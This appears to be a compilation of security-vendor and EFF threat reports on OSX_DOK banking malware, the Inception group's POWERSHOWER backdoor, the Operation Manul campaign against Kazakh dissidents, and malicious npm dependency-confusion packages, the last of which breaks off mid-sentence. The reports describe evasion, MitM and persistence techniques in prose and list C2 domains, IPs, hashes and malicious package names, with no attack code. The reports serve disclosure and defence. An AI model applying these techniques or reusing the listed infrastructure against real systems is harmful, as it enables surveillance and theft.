# OSX Malware Linked to Operation Emmental Hijacks User Network Traffic Posted on: July 10, 2017 at 7:00 Posted in: Malware Author: Rubio Wu (Threats Analyst) The OSX_DOK malware (Detected by Trend Micro as OSX_DOK.C) showcases sophisticated features such as certificate abuse and security software evasion that affects machines using Apple’s OSX operating system. This malware, which specifically targets Swiss banking users, uses a phishing campaign to drop its payload, which eventually results in the hijacking of a user’s network traffic using a Man-in-the-Middle (MitM) attack. OSX_DOK.C seems to be another version of WERDLOD (Detected by Trend Micro as TROJ_WERDLOD), which was used during the Operation Emmental campaigns—an interesting development that we will tackle further in this blog post. ## Arrival Method and Infection Flow OSX_DOK.C first arrives via a phishing email that contains certain files labeled as either .zip or .docx files. The sample we analyzed was a purported message from a police inspector in Zurich allegedly claiming to unsuccessfully contact the recipient. The email also comes with two files attached claiming to contain questions for the user: one is a .zip file, which is a fake OSX app, while the other is a .docx file used to target Windows operating systems using WERDLOD. Both of these samples work as Banking Trojans and provide similar functionalities. Some examples of the files used in the email attachment include the following: - Zahlungsinformationen 01.06.2017.zip - Zahlungsinformationen digitec.zip - Dokument 09.06.2017.zip - Dokument 09.06.2017.docx - 06.2017.docx Once the docx file included in the phishing email is clicked, a warning window will pop up. After this, the App Store on the system will be removed, followed by a full screen fake OSX update screen. The malware will begin to download other utilities. It relies on Homebrew, an open source software package manager to install Golang and Tor. The malware will then install fake certificates in the system to perform a MitM attack without notifying the user. The structure of the fake App Store matches the application bundle structure and provides both English and German interfaces. The main executable is Dokument.app/Contents/MacOS/AppStore. The archive in Mac OSX looks like this: Mac OSX will run the application if it passes certificates. In this case, the malware is signed off by a “developer,” which may actually be a dummy account or that of a compromised user. The time stamp on the CA is new, which might mean that it was obtained specifically for this attack. The fake certificate imitates the COMODO root certificate. We noticed that this malware will not work for Mozilla Firefox or Google Chrome since these two browsers have their own root certificates. Of all the major browsers, only Safari uses the system’s certificates. We observed the attacker targeting both Windows and Mac OSX in the same spam mail on June 9, 2017. There is a file shortcut embedded in the malicious .docx file—one that will download an executable file from Dropbox—that executes once clicked by the user. The functionalities are similar to the malicious app provided, which includes installing Tor and proxy. The malware will install two proxies running on local host port 5555 and 5588. All of the traffic will be hijacked into the first proxy (port 5555) with the victim’s external IP address as a parameter. The first (port 5555) proxy first finds the IP parameter. If it is not in Switzerland, the traffic will proceed as normal. If it detects an IP located in Switzerland, the malware will run an obfuscated JavaScript code and find its visiting domain. If the domain is in the target, the malware will perform a MitM attack and redirect the traffic to the second proxy (port 5588), which routes the traffic to the Tor network. The purpose of these steps is to target users in Switzerland and hijack their traffic. After deobfuscating the malware, we found the target domains. The target domain’s visitors will be redirected into an e-banking login page that looks and acts normally, but is located on dark web sites. However, once the victim enters an account and password, a window will pop out. The pop-out window is just smoke and mirrors, where nothing actually happens once the countdown timer reaches zero. We analyzed the webpage and found attackers injecting a script into the webpage. Once the user enters an account and password, it will initiate POST using AJAX. The POST message is sent to the same site as the fake login page—which an attacker can control inside the Tor network. We decoded the data section and found not only the account and password, but that it also fingerprinted the user’s browser and system information. While Operation Emmental was able to bypass two-way authentication by tricking its victims into installing a fake app, we have not observed OSX_DOK.C doing this. However, since they can inject code into the webpage, it means they have the ability to do this as well. ## Performing Static Analysis on OSX_DOK.C We performed static analysis on the sample and found it packed by Ultimate Packer for Executables (UPX), an open source executable packer that can often be abused by malware. We successfully unpacked the initial sample we found dropped by the UPX unpacker. The malware is not obfuscated so we easily found interesting strings here. We can see that the malware relies on bash shell for most of its setup. We were not able to unpack the sample discovered after June 9, 2017. The UPX gave a warning message about memory buffer overflow. The malware author seemingly made unpacking the malware more difficult to slow down or even evade the antivirus engine’s scanning process. The packer is the same but the malware tries to exploit the undiscovered bug in the UPX library that causes unpack failure. We have reported the issues to the UPX team, and they have already fixed it. The impacted versions of the UPX library are 3.94, 3.93, and 3.92. This technique enables the malware to efficiently run while evading unpacking techniques from the AntiVirus-integrated UPX library. ## Connecting OSX_DOK.C with WERDLOD As mentioned earlier, we believe that OSX_DOK.C might be the MAC OSX version of WERDLOD, an online banking malware that used the same techniques as Operation Emmental. Other research has also connected the OSX malware and Retefe via similarities in their behavior. While OSX_DOK.C is designed for MAC OSX, which is a Unix-like system, WERDLOD is designed for Windows. But in terms of features and behaviors, these two malware are very similar. Here is a list of their similarities: - Both malware kill all current browsers before installing fake certificates: Both WERDLOD and OSX_DOK.C are designed to kill the browser process before installing fake certificates. While WERDLOD kills processes for Internet Explorer, Firefox, and Chrome, OSX_DOK.C does the same on Safari, Firefox, and Chrome. - Both malware share the same proxy settings and script: While WERDLOD and OSX_DOK.C use different codes (since they target different operating systems), they have similar proxy settings and script formats. - Both malware have similar targets: Both WERDLOD and OSX_DOK.C targeted financial institutions, with a particular focus on banks in Switzerland. Further analysis of both malware revealed that their main targets are very similar. Given the connection between WERDLOD and OSX_DOK.C, it is reasonable to assume that the latter is also a part of the Operational Emmental campaign. ## Mitigation and Trend Micro Solutions Despite phishing incidents for Mac devices being rarer than their Windows counterparts, users should still be aware that attackers can target them at any moment. By implementing best practices for phishing-type attacks—such as refraining from downloading files unless they are absolutely certain that they come from trustworthy sources—users can avoid being victimized by malware such as OSX_DOK.C that prey on users who lack awareness of phishing strategies. In addition, end users can also benefit from security solutions such as Trend Micro Home Security for Mac, which provides comprehensive security and multi-device protection against viruses, ransomware, malicious websites, and identity thieves. It also provides secure storage of passwords and other sensitive information. Trend Micro™ Mobile Security for Apple devices (available on the App Store) can monitor and block phishing attacks and other malicious URLs. For enterprises, Trend Micro’s Smart Protection Suites with XGen™ security, which support Mac systems, infuse high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint.
# Inception Attackers Target Europe with Year-old Office Vulnerability By Tom Lancaster November 5, 2018 The Inception attackers have been active since at least 2014 and have been documented previously by both Blue Coat and Symantec; historical attacks used custom malware for a variety of platforms, targeting a range of industries, primarily in Russia, but also around the world. This blog describes attacks against European targets observed in October 2018, using CVE-2017-11882 and a new PowerShell backdoor we’re calling POWERSHOWER due to the attention to detail in terms of cleaning up after itself, along with the malware being written in PowerShell. Unit 42 has previously observed attacks from the group in 2017 against government targets in Europe, Russia, and Central Asia and expects these to remain the primary regions this threat is seen. In the last writeup by Symantec, they describe a two-stage spear phishing process used by the Inception attackers, whereby the attackers first send a reconnaissance spear phish, and follow this up with a second spear phish containing a remote template, which if loaded delivers a first stage payload. In their most recent attacks, it appears that only one document is used, but in a way that allows them to not reveal their final payload immediately; however, the use of templates remains the same. ## Remote Templates are Great Remote templates are a feature of Microsoft Word that allow a document to load a template to be used in a document – this template can be externally hosted, either on a file share or on the internet. The template is then loaded when the document is opened. The Inception attackers use this feature in a malicious context. Using a remote template in this way has been a consistent feature of the Inception attackers’ attacks for the past four years and has three main benefits to the attacker: 1. The initial document does not contain any explicitly malicious object; it simply references an external object, meaning it should bypass static analysis techniques. 2. The attacker has the option to deploy malicious content to the victim based upon initial data received from the target, such as Microsoft Word version (sent in the User-Agent) and the IP address of the target. 3. Once the attack is over, and the server hosting the remote template is down, it is difficult for researchers to analyze the attack as the remote content is unlikely to be available to them. When opened, the documents display decoy content and attempt to fetch a malicious remote payload via HTTP. The decoy content is usually copied from media reports, often with political themes in the target regions, including invites to international conferences and news articles on the current situation in Crimea. On most occasions, the remote server did not return a malicious template; however, we recently observed two cases where a malicious template containing two exploits was served. In both cases, the template contained exploits for both CVE-2012-1856 and CVE-2017-11882, which target vulnerabilities in Word disclosed and patched in 2012 and 2017 respectively. The payload for the exploits was VBScript in an OLE package object, which in turn decodes and executes POWERSHOWER, a simple PowerShell backdoor. ## POWERSHOWER – Malware that Cleans up After Itself Earlier, we mentioned that previous attacks were apparently delivered over two spear phishing emails, with the first only being used for reconnaissance. In the latest cases, we only observed a single document being sent to the targets, with reconnaissance, exploitation, and payload delivery happening on the first attempt. The dropped payload, POWERSHOWER, acts as an initial reconnaissance foothold and is almost certainly used to download and execute a secondary payload with a more complete set of features. By only using this simple backdoor to establish a foothold, the attacker can hold back their most sophisticated and complex malware for later stages, making them less likely to be detected. In a nutshell, POWERSHOWER allows the attacker to: - Fingerprint the machine and upload this information to the initial C&C. - Clean up a significant amount of forensic evidence from the dropper process. - Run a secondary payload if the attacker decides the target machine is sufficiently interesting. POWERSHOWER first checks if Microsoft Word is currently running; if it is, then the malware assumes it is the first run through of the malware and performs the following operations: 1. Writes itself to `%AppData%\Microsoft\Word\log.ps1`. 2. Sets up persistence for this file, using a run key. 3. Adds a registry key so that future powershell.exe instances are spawned off-screen by default. 4. Kills the Microsoft Word process. 5. Removes all files created during the dropper process, including evidence the original document was opened, the initial .VBS file, and all temporary files associated with the retrieval of the remote template. 6. Removes all registry entries that are left behind during the dropper process. 7. Collects system information on the infected machine and POSTS it to the C2. If Microsoft Word is not running, the malware enters its main communications loop, performing the following actions in sequence: 1. Collects system information and POSTs it to the C2. 2. Performs a GET request. 3. Based on the status code of the GET request, it will branch operations: - If the status code is not 200, the malware sleeps for a random amount of time between approximately 25 minutes and 35 minutes. - If the status code is 200, the malware expects the response to: - Begin with an “P”; in which case the malware writes the response to disk. - Begin with an “O”; in which case the malware assumes the response contains VBS code which is saved to disk, then executed. - If not beginning with either of these characters, it is assumed to be an XML file containing PowerShell expression, which is written to disk, read into memory, deleted, and then executed. Although the malware is simple, it’s fairly effective, giving the attacker options on how to run their next, more sophisticated payload. ## Conclusion The Inception attacks continue to mostly stay under the radar, which in part is down to the effort put in by the attackers to make their attacks harder to analyze. In the latest wave of attacks, they’ve done this through: - Use of remote templates, hindering analysis of historical attacks. - Anti-forensics techniques used during the dropper process to prevent clues as to how the malware was installed. - Use of the new basic POWERSHOWER backdoor as a first stage, making it harder for researchers to get copies of more sophisticated payloads used by the attackers. Palo Alto Networks customers are protected from this threat in the following ways: - Wildfire detects all current Inception remote template documents and the downloaded CVE-2017-11882 RTFs with malware verdicts. - AutoFocus customers can track associated samples with the Inception Remote Template and PowerShower. - Traps blocks all of the files we are aware of that are associated with this campaign. ## Indicators of Compromise Remote Template Documents where we have the matching payload: - 13de9678279b6ce6d81aeb32c0dd9f7458ad1f92aee17f3e052be9f06d473bed - d547773733abef19f2720d4def2356d62a532f64bcb002fb2b799e9ae39f805f Remote templates analyzed: - 687ee860fd5cd9902b441c26d72788d5a52052d03047a9b071808fc4c53a7e8b - 72eb022f395cc15bbe9582ee02f977ea0692932461a8b0bd608d9f0971125999 PowerShower sample: - 8aef4975d9c51821c4fa8ee1cbfe9c1f4a88c8784427d467ea99b2c1dabe15ae Other related templates and exploit documents from 2018: - 49dbcf1fc8d3381e495089f396727a959885c1dd2ab6cd202cf3c4dbd1d27c4f - 8b212ee2d65c4da033c39aebaf59cc51ade45f32f4d91d1daa0bd367889f934d - cc64a68ba52283f6cf5521cf75567b3c5b5143f324d37c59906ee63f1bbafcaf - 2bcb8a4ddc2150b25a44c292db870124c65687444f96e078f575da69bbf018e0 ## Infrastructure | First Seen | IP | Context | |--------------------|-----------------------|-----------------------------| | 20th July 2018 | 51.255.139[.]194 | Remote template host | | 13th August 2018 | 188.165.62[.]40 | Remote template host | | 10th October 2018 | 200.122.128[.]208 | POWERSHOWER C2 | | 22nd October 2018 | 108.170.52[.]158 | Remote template host |
# I Got a Letter From the Government the Other Day... ## Unveiling a Campaign of Intimidation, Kidnapping, and Malware in Kazakhstan **Eva Galperin, International Policy Analyst, EFF** **Cooper Quintin, Staff Technologist, EFF** **Morgan Marquis-Boire, Director of Security, First Look Media** **Claudio Guarnieri, Technologist, Amnesty International** **August 2016 - Black Hat USA** --- ## Abstract I got a letter from the government the other day Opened it and read it It said they were suckers Public Enemy, Black Steel and the Hour of Chaos This report covers a campaign of phishing and malware which we have named “Operation Manul” and which, based on the available evidence, we believe is likely to have been carried out on behalf of the government of Kazakhstan against journalists, dissidents living in Europe, their family members, known associates, and their lawyers. Many of the targets are involved in litigation with the government of Kazakhstan in European and American courts whose substance ranges from attempts by the government of Kazakhstan to unmask the administrators behind an anonymous website that publishes leaks alleging government corruption (Kazaword) to allegations of kidnapping. Our research suggests links between this campaign and other campaigns that have been attributed to an Indian security company called Appin Security Group. A hired actor is consistent with our findings on the Command and Control servers related to this campaign, which included web-based control panels for multiple RATs, suggesting that several campaigns were being run at once. A hired actor may also explain the generic and uninspired nature of the phishing, which often took the form of an email purporting to contain an invoice or a legal document with an attachment containing a blurry image. An investigation by the Swiss federal police of some of the emails linked to Operation Manul concludes that they were sent from IP addresses in India, which also suggests a link to Appin. Hundreds of leaked emails published on the Kazaword website also suggest possible links between this campaign and Arcanum Global Intelligence, a private intelligence company with headquarters in Zurich, which was allegedly hired by the government of Kazakhstan to perform a surveillance and data extraction operation against a high-profile dissident. It was Respublika’s reporting on these connections which led the government of Kazakhstan to request an injunction in a New York court to bar the website from publishing the “stolen” emails. We chose the name Operation Manul because the Manul cat is native to the steppes of Kazakhstan, and this campaign seems to be targeting members of the Kazakhstan diaspora and their associates. We also like cats. --- ## Operation Manul In 2015, EFF’s clients in the Respublika litigation were the targets of several spearphishing attempts they had received via email. We analyzed these emails and discovered that they contained malware, which appeared to be coming from a single actor as part of an ongoing targeted hacking campaign which we have named “Operation Manul.” Over the last year, Operation Manul has repeatedly targeted our clients in the Respublika case (Irina Petrushova and Alexander Petrushov), their known associates and family members, and other dissidents involved in litigation with the government of Kazakhstan in European courts, as well as their family members, associates, and attorneys. We were also able to observe links between Operation Manul and a malware campaign targeting the family of Mukhtar Ablyazov, co-founder of the Democratic Choice of Kazakhstan, a party opposed to the authoritarian rule of Kazakhstan’s President Nursultan Nazarbayev. Ablyazov is currently fighting extradition from France, where he lives in exile, to Nazarbayev-allied Russia. In May 2013, Ablyazov's wife, Alma Shalabaeva, and 6-year-old daughter, Alua Ablyazova, were taken into custody by Italian police and forcibly deported despite having legal British and European residence permits. Within 72 hours, they were on a private jet hired by the Kazakh embassy and taken to Almaty, Kazakhstan’s capital. Ablyazov and his supporters have characterized this move as a “kidnapping” and “political hostage-taking” ordered by President Nazarbayev. Spearphishing emails and malware sent to the family and their associates during this period may have been intended to help track Alma and Alua’s movements in preparation for this incident. In an appeal filed with a Swiss court earlier this year, members of Ablyazov’s family allege that they have been targeted by a campaign of spearphishing emails containing malware going back to 2012. The campaign against Ablyazov’s family, attorneys, and associates used the same malware as we found in Operation Manul, and sometimes used the exact same emails as the emails sent to EFF’s Respublika clients and their associates on the same dates. Additionally, analysis by GovCERT of other spearphishing emails sent to Ablyazov’s family and associates in 2015 concludes that the malware uses the kaliex.net domain and covertly installs Bandook. For this reason, we believe both groups are targets of Operation Manul. Operation Manul appears to primarily use two different commercially available malware families: JRat and Bandook. --- ## Victims of Operation Manul Some victims of Operation Manul have expressed a desire to preserve their anonymity, which we respect. The victims we are at liberty to identify include Alexander Petrushov and Irina Petroshova, publishers of the independent Kazakh newspaper, Respublika, Peter Sahlas, a human rights attorney, several members of Mukhtar Ablyazov’s family, Astolfo Di Amato, an Italian attorney who spearheaded anti-corruption litigation involving allegations of corruption by Kazakhstan, and dissident theater director Bolat Atabayev. Several victims allege that they have been physically followed, had their homes broken into, and been tracked using GPS devices. Mr. Di Amato alleges that his law firm’s website has been the victim of several DDoS attacks, which he believes are linked to his litigation involving the government of Kazakhstan. ### JRat Malware Family One of the common malware samples used over the course of Operation Manul is known as JRat or Jacksbot. JRat is a commercially available remote access tool (RAT), written in Java. JRat is currently available for purchase at jrat[.]io for the price of $40 USD. JRat has been continuously developed for the last four years, seemingly by a single developer who goes by the name “redp0ison.” While JRat itself is closed source, many modules and helpful utilities are open source and are available on GitHub. #### JRat Functionality JRat is a cross-platform RAT, able to target hosts running Windows, OSX, Linux, BSD, and even Solaris. The RAT is highly modular—it even has an open API so that the attacker may write custom modules to fit their needs. JRat modules include the following functionality: keylogging, reverse proxy, password recovery, turning on the host webcam, disabling webcam indicator light, listing host processes, opening a shell on the host, editing the host registry, and even chatting with the remote host. JRat also provides a controller application, which is written in Java. This controller application allows the attacker to manage all of their JRat instances and view uptime, operating system, and other information about all infected hosts. JRat also provides a web version of the controller, which is open source. #### Anti-Analysis JRat contains a number of interesting features to thwart analysis by a malware researcher. The code itself is obfuscated using Zendix Klass Master (ZKM), a commercially-available Java obfuscator. ZKM obfuscates the code by giving it generic class, method, and variable names, it also encodes the strings by xoring them with a series of random bytes, and includes extraneous code-paths. All of this is done to make the Java bytecode harder to decompile and analyze for the reverse engineer. The JRat JAR file contains an encrypted config file named config.dat. The JRat config file is encrypted using AES in CBC mode. The encryption key and IV are cleverly hidden in the “extra” field for the zipped config.dat file. Once it is decrypted, we are able to extract the plaintext configuration information including the domain of the command and control server and port number. JRat also employs anti-virtualization features to detect and shut down if it is being run in VirtualBox, VMware, or other virtualization software. JRat is low cost, versatile, extensible, and feature-rich. Given these facts and the diversity of systems that JRat can infect, it is perhaps not surprising that the attackers chose this particular RAT. ### Bandook Malware Family The other malware family used in this campaign is the commercially available RAT known as “Bandook.” Bandook has been available since roughly 2007. This sample seems to have been continuously developed and improved over the course of the last couple of years. Unlike JRat, Bandook is only able to target Windows computers. #### Core Functionality All Bandook executables are similar in size. Generally, they are masqueraded with fake Flash Player, Office document, or PDF document icons. None of the Bandook samples we have found in this campaign have been configured to execute an actual decoy document. Normally, Bandook is distributed with an initial stub. This executable would contain another PE32 binary as an embedded PE resource. Bandook makes use of a common technique referred to as "process hollowing." It instantiates several suspended browser processes and then replaces the loaded executable memory with the code contained in the embedded resource. After some initialization, Bandook performs an initial beacon with the general information and configuration details it previously collected. Then it expects a command in response from the Command & Control server. If idle, the C&C will reply with "@0000", and the malware will keep beaconing back the title bar of the currently active window until it is instructed to do something else. Interestingly, the basic payload isn't provided with the code to perform any significant action. If instructed to do so, Bandook will download additional DLL files which provide the specifically desired functionality. This is probably meant to limit the exposure of the core modules to analysts and to vet the infection before performing a full deployment. The following is a list of overall features available in this version of Bandook: - Screen capture - Webcam recording - Audio recording - File search, creation, deletion, and exfiltration - Spawn a shell - Get list of available Wireless networks - Get list of MTP devices - Monitor USB devices --- ## Attribution ### Observed Links to the Government of Kazakhstan Given the common thread tying together the targets, we find it likely that this campaign was carried out by—or on the behalf of—the government of Kazakhstan, or forces allied with the government. The majority of the targets of the malware campaign are currently embroiled in legal disputes with the government of Kazakhstan in European courts or are the family members or associates of people involved in these disputes. The titles of spearphishing emails often indicate that the targets are being singled out specifically for their interest in matters pertaining to Kazakhstan, such as “Information KZ,” “Press document KZ,” and “Kazakh NEWS of importance - Vladimir.” ### Observed Links to Arcanum Global Intelligence Leaked emails published by Kazaword allege that the government of Kazakhstan had previously hired a private intelligence company known as Arcanum to perform a surveillance and data extraction mission (codenamed “Raptor”) targeting Mr. Ablyazov and his family. Among the services offered by Arcanum are “Full Spectrum Cyber Operations” which they describe using the following language: > When the need exists, we overlay Full Spectrum Cyber Operations on these core capabilities, our principals’ experience, and special technical activities. We do this in order to offer a potent resource to support cyber and information operations planning and execution virtually anywhere in the world. > When our government clients come under threat, Arcanum Global’s embedded specialists and capabilities support them with a full suite of response options, including (in consonance with applicable laws and regulations) an array of countermeasures as well as both in-kind and asymmetric responses. > We invite you to schedule a comprehensive and completely confidential discussion of your cyber concerns and objectives with our specialists. After analyzing closely your requirements and the physical and cyber environments in which you must operate, Arcanum Global’s holistic team of technical, operational, and management specialists will recommend specific (and potentially sensitive) solutions – and then stand beside you to implement them and assure you realize your goals and achieve mission success. Emails published by Kazaword and analyzed by Mediapart allege that Arcanum employed Bernard Squarcini, head of France’s domestic intelligence agency, the Direction centrale du renseignement intérieur (DCRI) from 2007 to 2012, to inform the Kazakh authorities of the progress of the legal proceedings against Ablyazov and to lobby certain figures in France. Squarcini confirmed to Mediapart that the government of Kazakhstan is a client, but Arcanum spokeswoman Yael Hartmann denied that the company was responsible for the spearphishing attempts, insisting that the company has complied with Swiss law. There is certainly some strong evidence consistent with there being a link between Operation Manul and the government of Kazakhstan and between the government of Kazakhstan and Arcanum. However, we observe no direct links between Operation Manul and Arcanum. The technical evidence discussed below, we believe points instead to an Indian company: Appin. ### Observed Links to Appin We examined the behavior of the command and control domains used by Operation Manul as they moved from IP to IP. Using Passive Total, we observed that the C2 domains from Operation Manul used a total of 76 IPs from 2008-07-20 to 2016-05-11. We must consider that these domains could have been used by other actors over this time period. While considering attribution of the actors behind Operation Manul, we investigated the possibility of infrastructure overlap with known actors. Gathering data from existing APT reports, we automated gathering of historical data from known APT domains from the Passive Total API and comparison with the historical data from Operation Manul domains. From this, we were able to observe overlaps between Operation Manul and an actor known as Appin. Appin is an Indian company that allegedly provides offensive cyber-capability on a contract basis. A 2013 report by the cybersecurity firm Norman Shark, titled “Operation Hangover: Unveiling an Indian Cyberattack Infrastructure,” describes multiple campaigns linked to this actor. The campaigns included attacks on Punjabi separatists, Norwegian telecom Telenor, and multiple other companies. Appin is an exceptionally noisy actor, which might be expected given the contract nature of their work. Prior research revealed 607 domains related to Appin which we were able to link via historical passive DNS to 1345 IPs. Of these, there were direct overlaps for two of the Operation Manul domains. There were indirect overlaps (same IP, at different times) with 110 of the Operation Hangover domains and all but two of the domains associated with Operation Manul. The domains researchwork.org and dropboxonline.com were both on 64.202.189.170 on 2011-01-14. Additionally, the domains adobeair.net and bikefanclub.info both resided on 50.63.202.94 from 2014-04-24 to 2014-04-25. The researchwork.org and bikefanclub.org domains were attributed to Appin in the Operation Hangover report, while adobeair.net and dropboxonline.com were observed during the investigation of Operation Manul. Additionally, there was a near overlap between adobeair[.]net (one of the Operation Manul domains) and appinsecurity[.]com (attributed to Appin in the Operation Hangover report) both hosted at 174.120.120.151 just five days apart in August of 2010. What’s more, according to an appeal filed in a Swiss court on behalf of the Ablyazov family, several of the malware samples sent to Mr. Ablyazov’s son-in-law and his attorney and linked with this campaign were variants of the HackBack Trojan. This Trojan is in the same malware family as the Trojan found on an Angolan activist’s computer at the Oslo Freedom Forum in 2013—which was also linked to Appin by researchers at ESET and Norman Security. We were unable to obtain the samples mentioned in the legal documents at the time of this writing. A report written by the Swiss federal police, which investigated the origin of several of the spearphishing emails sent to Ablyazov’s family and associates, concluded that the emails were sent from IP addresses in India. While there are links to Appin, it’s not conclusive that Operation Manul was carried out by this actor. Both 50.63.202.94 and 64.202.189.170 are very busy domains. Passive Total tells us that 50.63.202.94 has hosted 4535 unique domains since 2012, while 64.202.189.10 has hosted 4213 unique domains since 2009. Additionally, while the overlap with Appin exists, the fact that domains used the same IP at the same time is insufficient for concrete attribution. The evidence is consistent with links to Appin, but remains inconclusive. Certainly, the sort of targeting we have seen in Operation Manul appears to be consistent with other efforts targeting activists that have been associated with the same actor. --- ## Other Possible Targets While investigating the C2 servers associated with Operation Manul, we discovered several open directories which contained files presumably related to other operations being run by this same actor. Additionally, we discovered web control panels for several different commodity RATs located under directories that appeared to be code-names for different operations. We also discovered several files which were presumably uploaded from other victims’ computers. Lastly, we discovered encrypted data dumps from yet more campaigns, which we were unable to access at the time of this report. We found many related samples of the Bandook Trojan while we were doing our research. For example, 65af112ce229ad888bf4bbba1e3dba701e0e68c9caf81543bb395a8b8192ba8e contains references to Al Qaeda/ISIS material and the forged document is from an Arabic language pack. This sample, however, is associated with the same C2 servers used by Operation Manul. We also found several uploaded log files which indicate the presence of an Android RAT. Unfortunately, we were unable to find samples of this RAT at the time of this report. The discoveries that we made while investigating the command and control infrastructure associated with this campaign suggest that these attackers are “hired guns” and have multiple operations against different targets going on at the same time. --- ## Conclusion Operation Manul is not particularly sophisticated, but it is well-understood that attacks don’t need to be sophisticated in order to be effective. Not a single sample that we have found in this campaign has employed a 0-day vulnerability. Unlike the lawful interception software that companies such as FinFisher and Hacking Team sell to governments and law enforcement, the RATs employed in this campaign are not only commercially-available to anyone, they’re cheap. The fact that these attacks are not sophisticated should not discourage other researchers from doing similar work. For activists and journalists who are being surveilled by authoritarian governments, surveillance is often just the first step in a campaign of intimidation, threats, and even direct violence. This kind of security research has the potential to have a real impact on vulnerable people. We suspect that the use of malware by governments to spy on political dissidents, especially exiles who live outside of their government’s direct sphere of influence, is increasingly common, which presents many opportunities for further research. The possible connections between the government of Kazakhstan and companies that provide “hackers for hire” suggest that the problem of governments using malware to spy on political exiles and independent journalists goes beyond the sale of lawful interception software. We hope that further research will help to shed light on this practice and the companies that make these services available. --- ## Acknowledgements There are many people without whom this work would not have been possible. The authors wish to thank the researchers behind Operation Hangover, whose work we depended heavily upon: Snorre Fagerland, Morten Kråkvik, Jonathan Camp, and Ned Moran. The authors wish to give special thanks to VirusTotal, Joe Security, Hex-Rays, and Passive Total for providing access to their software and services. Additionally, we’d like to thank David Greene, Jamie Lee Williams, Meghan Fenzel, Nate Cardozo, Kurt Opsahl, Soraya Okuda, and Marion Marschalek, for their patience, help, support, and advice. We would also like to thank our friends and family who supported us throughout this research. --- ## Appendix A: Indicators of Compromise ### C2 Servers The samples from the Operation Manul campaign described in this paper use the following command and control (C2) domains: - axroot.com - kaliex.net - adobeair.net - mangoco.net - jaysonj.no-ip.biz - orange2015.net - accountslogin.services - adobeinstall.com - adobe-flashviewer.accountslogin.services - dropboxonline.com ### Hashes The following are hashes of malware samples discovered during our research which are associated with Operation Manul: - 0491f4e55158d745fd1653950c89fcc9b37d3c1102680bd3ce67616a36bb2592 - 06529ac1d3388732ebca75b8ee0adf0bc7f45d4c448ec98223dd7a258a0f1f33 - 1192b5111f7c75417215a1285a20147f5ab085368fa95d74e7603d26736057ac - 1e3966e77ad1cbf3e3ef76803fbf92300b2b88af39650a1208520e0cdc05645b - 2431ff8ba00923a9c115a57e541d9d20e0a68b6cb1b48b87e7797864cf07dfab - 345773dc4215c8c189d21536755614ca7b89082b96563239e363dd72c0cd8c68 - 373231f5be17e09e4ce94f76b35e5be57c961d6c8a9286b2e20e203d53b3c9dd - 39802d53ae4a29c528626b0870872040dc5c994fb3b6b9e4a3b982144ad56e6c - 40d30bc2db27e2a8a12cdeb5aae19f04064e5a1775bd3e6cf61a7070b797d3b3 - 40e9c694901aeb27993a8cd81f872076ee430e151f64af06993eb79442103ef8 - 4730c6033d8644c0aae46003bab3254e4beb62187573ffb5ba5bc95a28ddcd93 - 4f1923485e8cdd052467d335a6384f93cd1d50b5d927aea471e56290be29ffa3 - 576ca2b0c5fe1c756c245cb82d6a2ecce7f6976d5c3f3b338f686e06955032cb - 5e322d208d61dcbf17914e24103710c52878e8cf50957f3d336736f4a1851951 - 652ec150db9a191942807ee5cf4772e75dfac562739477eacc6655fbec880ad7 - 65af112ce229ad888bf4bbba1e3dba701e0e68c9caf81543bb395a8b8192ba8e - 6eea4a67305f67cc7c016256e93eb816de32b6e9ad700f75828be9f97c28c0e0 - 75ee00a36d324a89fc9ef4d7dbe606b885ec072388ef7b55d39112af7dbca665 - 75f51845de4d0deae8aaab737a71bb8aed14bfa4919712bcdea212f62b70c07f - 778a01389b17a8ff20c445e0856b3704ac50844faa8d36c01e0ff02518e4c6d3 - 8c33b645e6362ab7e8c8a9989715193b4c9655fd576812218f3957c3fff8c429 - 8d054753e0ed754398835bed794ba4fae64a2efb018f98d3c61064de8aaa231d - 91d251b11c59b5e25e0c1ae55421893fce8f180a97e2eef88122c61e8cdf1bae - 926a0196e4a72ed6eb20b51953cc17e8856ea9c0ef554681b7d7f0ecad870a2e - 99e699e358be9e59cfad6124f44a96d3d1577edf9767afe17281adb37d901e22 - a91c2cad20935a85d6eed72ef663254396914811f043018732d29276424a9578 - ade5bd96bfba79051f8e8ed8fe973edd89e5f1ec6469393967c3ad7519a95650 - b002e8b6406fbdf3de9bfcb3493e61c8a44b331f53125e8fed9daa351c49fd34 - d803c4d736bcb247d23735a7160b93c2f3d98de5d432680f5eaf9212f965248c - e4381ad27b10d895ad8338ba399221d385653b83b8d5dbd5a32cb86a0c318d44 - eccb3d7d1e8a7cd27c7caf21885c95122eed28361651e8e47b8c02828b232c7e - f56c545a3157f1cf753de5ac56bb52e5af42bc6b8225d26aafdce3b430287f34 - fc49b37b879af6e675f223d324d32c894ba83952b2ee109d52bfa9bd8212e005 - f9dd8ebb062842798d53e78633ed9ca296f4a93dafb0fe60320a34a3d58d78d4 --- ## Appendix B: Further Reading - [Mediapart](http://www.viktor-khrapunov.com/en/publications-en/mediapart/) - [Unveiling an Indian Cyberattack Infrastructure](http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf) - [Patchwork](https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf) - [Targeted Threat: Pakistan-India](http://www.welivesecurity.com/2013/05/16/targeted-threat-pakistan-india/) - [Judge Rules Respublika Cannot Be Forced to Take Down Articles](https://www.eff.org/deeplinks/2015/11/judge-rules-respublika-cannot-be-forced-take-down-articles-kazakhstan-proceed)
# Newly Identified Dependency Confusion Packages Target Amazon, Zillow, and Slack; Go Beyond Just Bug Bounties Sonatype has identified new “dependency confusion” packages published to the npm ecosystem that are malicious in nature. These squatted packages are named after repositories, namespaces, or components used by popular companies such as Amazon, Zillow, Lyft, and Slack. The malicious packages include: - `amzn` - `zg-rentals` - `lyft-dataset-sdk` - `serverless-slack-app` As previously reported by Sonatype, Alex Birsan’s dependency confusion research disclosure led to copycat researchers publishing 275+ identical packages to the npm repo within 48 hours, in hopes of scoring bug bounties. The number then jumped to over 550 within the next few days. As of today, Sonatype’s automated malware detection systems, part of Nexus Intelligence, has identified well over 700 npm copycat packages based on Birsan’s proof-of-concept packages. Although ethical hacking for bug bounties and spreading security awareness has its place and is even welcomed by the community as it keeps us all more secure, the copycat packages recently identified by Sonatype unfortunately cross the line of what is deemed ethical. ## What’s inside your /etc/shadow? Most of the copycat packages spotted by Sonatype that exploited the “dependency or namespace confusion” issue across various open source ecosystems did so by exfiltrating minimal information—just enough to get proof to present to a bug 